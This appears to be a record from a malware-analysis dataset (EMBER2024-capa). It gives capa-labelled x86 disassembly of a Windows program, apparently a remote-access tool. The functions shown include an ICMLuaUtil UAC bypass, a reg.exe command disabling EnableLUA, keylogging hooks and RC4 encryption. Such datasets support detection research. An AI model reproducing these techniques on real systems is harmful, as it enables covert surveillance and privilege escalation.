joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404688
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.00401faa
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401e8f
push eax
mov ecx, esi
call fcn.004048bf
test al, al
je 0x4047d8
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.004022f8
cmp ebp, eax
jbe 0x4046f6
mov ecx, edi
mov bl, 1
call fcn.004022f8
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x4046f8
xor bl, bl
test bl, bl
jne 0x4047d8
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00403b60
push eax
lea ecx, [esp + 0x1c]
call fcn.00401eef
lea ecx, [esp + 0x30]
call fcn.00401eea
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.00403b60
push eax
lea ecx, [esp + 0x1c]
call fcn.00401eef
lea ecx, [esp + 0x30]
call fcn.00401eea
lea eax, [esp + 0x18]
test bh, bh
jne 0x404769
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401fbd
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x4047a6
push eax
lea ecx, [esi + 0xc]
call fcn.00401ebd
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00403b60
push eax
mov ecx, edi
call fcn.00401eef
lea ecx, [esp + 0x30]
call fcn.00401eea
mov ecx, edi
call fcn.004022f8
test eax, eax
lea eax, [esi + 0x58]
jne 0x4046ae
lea ecx, [esp + 0x18]
call fcn.00401eea
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404915
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x5c], 0
jne 0x4049b1
cmp byte [ebp + 0xc], 0
mov ebx, dword [ebp + 8]
jne 0x404939
mov byte [edi + 0x7c], 1
jmp 0x404987
cmp byte [0x471d8a], 0
je 0x404987
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
sub esp, 0x18
lea ecx, [ebp - 0x28]
mov edx, ebx
mov esi, esp
call fcn.0041ad46
push eax
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esi
call fcn.00404c9e
sub esp, 0x14
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401eea
xor esi, esi
mov byte [edi + 0x5c], 1
push esi
push esi
push esi
push esi
mov dword [edi + 0x74], ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push esi
push edi
push 0x404b1d
push esi
push esi
mov dword [edi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x4049b3
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405f47
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46c460]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x405f51
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x405f97
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x405f76
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x405fb6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00435ad0
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406046
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x405ffc
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406012
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406039
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x405feb
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x4064d0
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0x4709d0], eax
jne 0x4068ef
ret
cmp dword [0x4709d0], 1
jne 0x4068fc
xor eax, eax
inc eax
ret
push esi
push dword [0x471d90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x4742e0
mov edx, 0x465900
mov ecx, esi
call fcn.00406a1a
test al, al
je 0x406927
mov ecx, esi
call fcn.00401e07
jmp 0x40692c
mov eax, 0x471b80
mov ecx, eax
call fcn.004068d2
pop esi
test eax, eax
jne 0x40693f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x474328
call fcn.00401e8f
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0x471d90], eax
pop eax
ret
Function at 0x4064e0
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, str.ntdll.dll
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x471b4c], eax
test eax, eax
je 0x406571
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x471b50], eax
test eax, eax
je 0x406571
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x471b5c], eax
test eax, eax
je 0x406571
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0x471b54], eax
test eax, eax
je 0x406571
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0x471b60], eax
test eax, eax
je 0x406571
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
mov dword [0x471b48], eax
test eax, eax
je 0x406571
xor eax, eax
inc eax
jmp 0x406573
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x406764
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.00406478
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.0043a611
pop ecx
pop ecx
cmp eax, 0x40
ja 0x406807
lea ecx, [ebp - 0x28]
call fcn.00406408
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043e349
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043e36b
push str.___CoGetObject_n
call fcn.00406478
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x4659b0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, eax
mov ecx, str.____CoGetObject_FAILURE_n
test esi, esi
mov eax, str.___CoGetObject_SUCCESS_n
cmove ecx, eax
push ecx
call fcn.00406478
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
leave
ret

Function at 0x4069ba
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00436050
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00436050
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
leave
ret
Function at 0x406ac2
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406b0c
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.0041aec8
push 0x54
mov ecx, 0x474078
call fcn.00404468
jmp 0x406bd3
lea ecx, [esp + 0x10]
call fcn.00401faa
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.00403b40
mov edx, 0x4659c0
mov ecx, eax
call fcn.00406a1a
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401e13
mov ebp, 0x250
test bl, bl
je 0x406b9f
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.00401f86
push eax
lea ecx, [esp + 0x14]
call fcn.00401eef
lea ecx, [esp + 0x28]
jmp 0x406b9a
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.00401f86
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.00405cc5
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401eef
lea ecx, [esp + 0x28]
call fcn.00401eea
lea ecx, [esp + 0x40]
call fcn.00401eea
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406b65
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.00401fbd
push 0x50
mov ecx, 0x474078
call fcn.00404468
lea ecx, [esp + 0x10]
call fcn.00401eea
lea ecx, [esp + 0x2b0]
call fcn.00401e13
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x406be9
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186cc
call fcn.004564f0
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186e4]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x4659c4
lea ecx, [esp + 0x24]
mov dword [esp + 0x20], ebx
call fcn.0040856b
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186e4]
cmp dword [esp + 0x14], eax
ja 0x406cbf
mov edi, dword [esp + 0x186e0]
jae 0x406cb9
push ecx
push 0x186a0
lea eax, [esp + 0x40]
mov ecx, esi
push eax
call fcn.0040455b
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x44]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.00401f86
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404468
test esi, esi
jle 0x406d07
mov eax, dword [esp + 0x186e4]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x406c56
ja 0x406cbf
cmp dword [esp + 0x10], edi
jb 0x406c56
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x186e8]
call fcn.00401e07
push eax
lea ecx, [esp + 0x24]
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401e13
lea ecx, [esp + 0x186e8]
call fcn.00401e13
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186cc
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406ce5

Function at 0x406d20
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.00401faa
lea ecx, [ebp + 8]
call fcn.00401e8f
mov edi, eax
jmp 0x406da7
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00440c51
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00401f66
mov ecx, eax
call fcn.00401e8f
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.004085b4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.004085fd
pop ecx
push eax
mov ecx, esi
call fcn.00401eef
lea ecx, [ebp - 0x1c]
call fcn.00401eea
lea ecx, [ebp - 0x34]
call fcn.00401eea
lea ecx, [ebp - 0x4c]
call fcn.00401eea
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x406d3b
lea ecx, [ebp + 8]
call fcn.00401eea
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x407a8c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x456b8b
call fcn.004567e0
sub esp, 0x2b0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov bl, cl
lea ecx, [ebp - 0x4c]
call fcn.00401faa
or dword [ebp - 0x18], 0xffffffff
test bl, bl
je 0x407aef
mov edx, 0x465900
lea ecx, [ebp + 0x20]
call fcn.00406a26
test al, al
je 0x407aef
sub esp, 0x18
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.004082dc
lea ecx, [ebp - 0x34]
call fcn.0041a5c9
add esp, 0x18
push eax
lea ecx, [ebp + 0x20]
call fcn.00401e18
lea ecx, [ebp - 0x34]
call fcn.00401e13
sub esp, 0x18
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.004082dc
lea ecx, [ebp - 0x34]
call fcn.0041a604
add esp, 0x18
push eax
lea ecx, [ebp + 0x20]
call fcn.00402de3
lea ecx, [ebp - 0x34]
call fcn.00401e13
push 0x465aa0
lea ecx, [ebp + 8]
call fcn.004082d2
and dword [ebp - 4], 0
lea eax, [ebp - 0x2b4]
push eax
push 0x465a80
lea edx, [ebp + 8]
lea ecx, [ebp - 0x34]
call fcn.0040856b
pop ecx
mov ecx, eax
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x34]
call fcn.00401e13
cmp edi, 0xffffffff
je 0x407ce4
lea eax, [ebp - 0x2b4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x407c71
cmp byte [0x471b3e], 0
jne 0x407cb3
test byte [ebp - 0x2b4], 0x10
je 0x407c29
push 0x4659c0
lea eax, [ebp - 0x288]
push eax
call fcn.0043e479
pop ecx
pop ecx
test eax, eax
je 0x407b66
push 0x465aa4
lea eax, [ebp - 0x288]
push eax
call fcn.0043e479
pop ecx
pop ecx
test eax, eax
je 0x407b66
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403b40
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x34]
call fcn.00408622
pop ecx
lea ecx, [ebp - 0x64]
call fcn.00401e13
sub esp, 0x18
mov ecx, esp
lea eax, [ebp + 0x38]
push eax
call fcn.00401fbd
sub esp, 0x18
mov ecx, esp
lea eax, [ebp + 0x20]
push eax
call fcn.004082dc
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x34]
push eax
call fcn.004082dc
mov cl, bl
call fcn.00407a8c
lea ecx, [ebp - 0x34]
add esp, 0x48
call fcn.00401e13
jmp 0x407b66
sub esp, 0x18
mov ecx, esp
lea eax, [ebp + 0x38]
push eax
call fcn.00401fbd
sub esp, 0x18
mov ecx, esp
lea eax, [ebp + 0x20]
push eax
call fcn.004082dc
sub esp, 0x18
mov esi, esp
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x64]
call fcn.00403b40
push eax
lea edx, [ebp + 8]
mov ecx, esi
call fcn.00408622
pop ecx
mov cl, bl
call fcn.00407cfa
lea ecx, [ebp - 0x64]
jmp 0x407c1c
or dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x4c]
call fcn.00401eea
lea ecx, [ebp + 8]
call fcn.00401e13
lea ecx, [ebp + 0x20]
call fcn.00401e13
lea ecx, [ebp + 0x38]
call fcn.00401eea
mov al, 1
jmp 0x407cd5
lea ecx, [ebp - 0x4c]
call fcn.00401eea
lea ecx, [ebp + 8]
call fcn.00401e13
lea ecx, [ebp + 0x20]
call fcn.00401e13
lea ecx, [ebp + 0x38]
call fcn.00401eea
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
mov dword [ebp - 0x1c], 2
push 0x46df08
lea eax, [ebp - 0x1c]
push eax
call fcn.00437bd7
int3
Function at 0x4095d6
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x194
lea eax, [esp + 0x198]
add ecx, 0x98
push ebx
push ebp
push esi
push edi
push eax
call fcn.00401ebd
xor eax, eax
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4741b0
mov ecx, ebp
call fcn.004041f1
push ecx
mov ecx, ebp
call fcn.0040428c
push dword [0x474148]
lea ecx, [esp + 0x24]
call fcn.00403b40
push 0x12
mov ecx, 0x474358
call fcn.00401d64
mov ecx, eax
call fcn.00401e8f
mov edx, dword [0x474144]
lea ecx, [esp + 0x188]
sub esp, 0x18
mov esi, eax
mov edi, esp
call fcn.0041ad46
push eax
mov ebx, 0x473ee8
lea edx, [esp + 0x3c]
push ebx
lea ecx, [esp + 0x190]
call fcn.0041aec8
push eax
push ebx
lea eax, [esp + 0x1d0]
mov ecx, 0x474160
push eax
push ebx
call fcn.00401e07
mov ecx, eax
call fcn.0041b6aa
mov edx, eax
lea ecx, [esp + 0x188]
call fcn.0041ad46
mov edx, dword [0x4741a8]
lea ecx, [esp + 0x170]
push eax
push ebx
call fcn.0041ad46
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x50]
push ebx
push eax
push ebx
lea ecx, [esp + 0x170]
call fcn.00404cbf
pop ecx
mov edx, eax
lea ecx, [esp + 0x154]
call fcn.004085fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [esp + 0x11c]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [esp + 0x100]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [esp + 0xe4]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [esp + 0xc8]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [esp + 0xac]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [esp + 0x90]
call fcn.004027cb
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.0040275c
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.004027cb
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0040275c
pop ecx
push 0x12
mov ecx, ebp
call fcn.00404468
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401eea
lea ecx, [esp + 0x50]
call fcn.00401eea
lea ecx, [esp + 0x68]
call fcn.00401eea
lea ecx, [esp + 0x80]
call fcn.00401eea
lea ecx, [esp + 0x98]
call fcn.00401eea
lea ecx, [esp + 0xb0]
call fcn.00401eea
lea ecx, [esp + 0xc8]
call fcn.00401eea
lea ecx, [esp + 0xe0]
call fcn.00401eea
lea ecx, [esp + 0xf8]
call fcn.00401eea
lea ecx, [esp + 0x110]
call fcn.00401eea
lea ecx, [esp + 0x128]
call fcn.00401eea
lea ecx, [esp + 0x140]
call fcn.00401eea
lea ecx, [esp + 0x158]
call fcn.00401eea
lea ecx, [esp + 0x170]
call fcn.00401eea
lea ecx, [esp + 0x188]
call fcn.00401eea
lea ecx, [esp + 0x20]
call fcn.00401e13
lea ecx, [esp + 0x1a8]
call fcn.00401eea
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret 0x18
Function at 0x4098a5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040affa
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x4098f6
push edi
lea ecx, [esp + 0x14]
call fcn.00401f66
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041ae08
mov ecx, esi
call fcn.0040a876
lea ecx, [esp + 0x10]
call fcn.00401eea
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00401f66
sub esp, 0x18
mov ecx, esp
push 0x465454
call fcn.00401f66
call fcn.0041a686
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x4099a9
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40993c
push ebx
push ebx
push esi
push 0x409993
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x4099b5
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401e13
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x409959
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x474160
push eax
call fcn.0040affa
cmp byte [0x474141], 0
jne 0x409987
xor eax, eax
push eax
push eax
push 0x4740f8
push 0x40999f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00401e13
ret 0x18

Function at 0x4099e4
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x471b6c], esi
mov eax, dword [esi]
test eax, eax
jne 0x409a63
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x4099d0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x409a63
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 0x18
lea ecx, [esp + 0x24]
mov edx, eax
mov esi, esp
call fcn.0041ad46
push eax
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esi
call fcn.00404c9e
sub esp, 0x14
mov ecx, esp
push 0x4653b8
call fcn.00401f66
call fcn.0041a686
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401eea
xor eax, eax
inc eax
jmp 0x409a91
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x409a8f
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x409a63
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409b10
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
sub esp, 0x148
push ebx
push ebp
push esi
push edi
push 0x100
lea eax, [esp + 0x5c]
mov esi, ecx
push 0
push eax
mov dword [esp + 0x1c], esi
call fcn.00436050
add esp, 0xc
lea edi, [esp + 0x18]
xor eax, eax
push 8
pop ecx
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov ebp, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
lea ebx, [esi + 0x54]
mov esi, dword [sym.imp.USER32.dll_ToUnicodeEx]
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0x409bf8
cmp dword [0x475b38], 0
je 0x409bf2
push 8
xor eax, eax
lea edi, [esp + 0x3c]
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0043e349
push 0x100
xor ebx, ebx
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00436050
add esp, 0x14
lea eax, [esp + 0x18]
push ebp
push ebx
push 0x10
push eax
lea eax, [esp + 0x68]
push eax
push dword [0x475b3c]
push dword [0x475b38]
call esi
mov dword [0x475b38], ebx
lea eax, [esp + 0x38]
push eax
jmp 0x409c2b
lea eax, [esp + 0x18]
jmp 0x409bef
push 5
pop ecx
mov esi, ebx
mov edi, 0x475b38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
push dword [ebx]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x409c08
push 0x465900
mov ecx, dword [esp + 0x160]
call fcn.00403b40
mov eax, dword [esp + 0x15c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret 4

Function at 0x409d97
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4741a8]
or eax, dword [0x4741ac]
push ebx
push esi
push edi
mov esi, ecx
je 0x409e44
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push connect
mov ecx, 0x474160
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x409e18
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x4741ac]
jb 0x409e0f
ja 0x409df4
cmp eax, dword [0x4741a8]
jb 0x409e0f
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x409e04
mov ecx, esi
call fcn.0040a7f0
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409e1b
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x409db2
cmp byte [esi + 0x49], bl
jne 0x409e44
cmp dword [0x474144], 1
jne 0x409e44
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.004082dc
mov ecx, esi
call fcn.004098a5
pop edi
pop esi
pop ebx
ret